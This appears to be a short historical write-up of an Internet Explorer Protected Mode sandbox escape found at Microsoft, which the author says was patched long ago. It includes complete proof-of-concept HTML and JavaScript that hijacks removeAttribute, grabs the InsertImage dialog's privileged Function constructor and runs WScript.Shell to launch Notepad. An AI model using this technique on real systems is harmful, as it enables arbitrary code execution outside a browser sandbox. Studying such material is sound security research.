This was a creative path to code execution. IE’s internal InsertImage dialog (invoked via document.execCommand("InsertImage", ...)) uses removeAttribute on image elements to clean up after itself. By pre-poisoning that method with a custom function and walking back up the call stack using caller.constructor, I could obtain the dialog’s internal Function object and use it to execute arbitrary code outside of Protected Mode.
<img id="c2eec6217e1a474eb649bfedd577334a">
<img id="c2eec6217e1a474eb649bfedd577334a">
<script language="JavaScript">
document.all.c2eec6217e1a474eb649bfedd577334a.removeAttribute = function tricked_removeAttribute()
{
if (!window.fRunOnce)
{
var xFunction = tricked_removeAttribute.caller.constructor; // Gets the Function object of our internal dialog
xFunction('new ActiveXObject("WScript.Shell").Run("file:///c:/windows/system32/notepad.exe", 1, true);')();
window.fRunOnce = true;
}
}
function main()
{
if (window.fRunOnce)
{
alert("Refresh the page and retry");
return;
}
document.execCommand("InsertImage",1,1);
}
</script>
<input type="button" onclick="main();" value="Run Notepad">
The dialog runs in a privileged context outside the Protected Mode sandbox. When it calls removeAttribute on the image element, our replacement function intercepts the call and grabs caller.constructor — the dialog’s own Function constructor. That constructor is then used to spin up a WScript.Shell and launch Notepad outside of any sandboxing. The duplicate id attribute on the two image elements is part of ensuring the right element is targeted.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.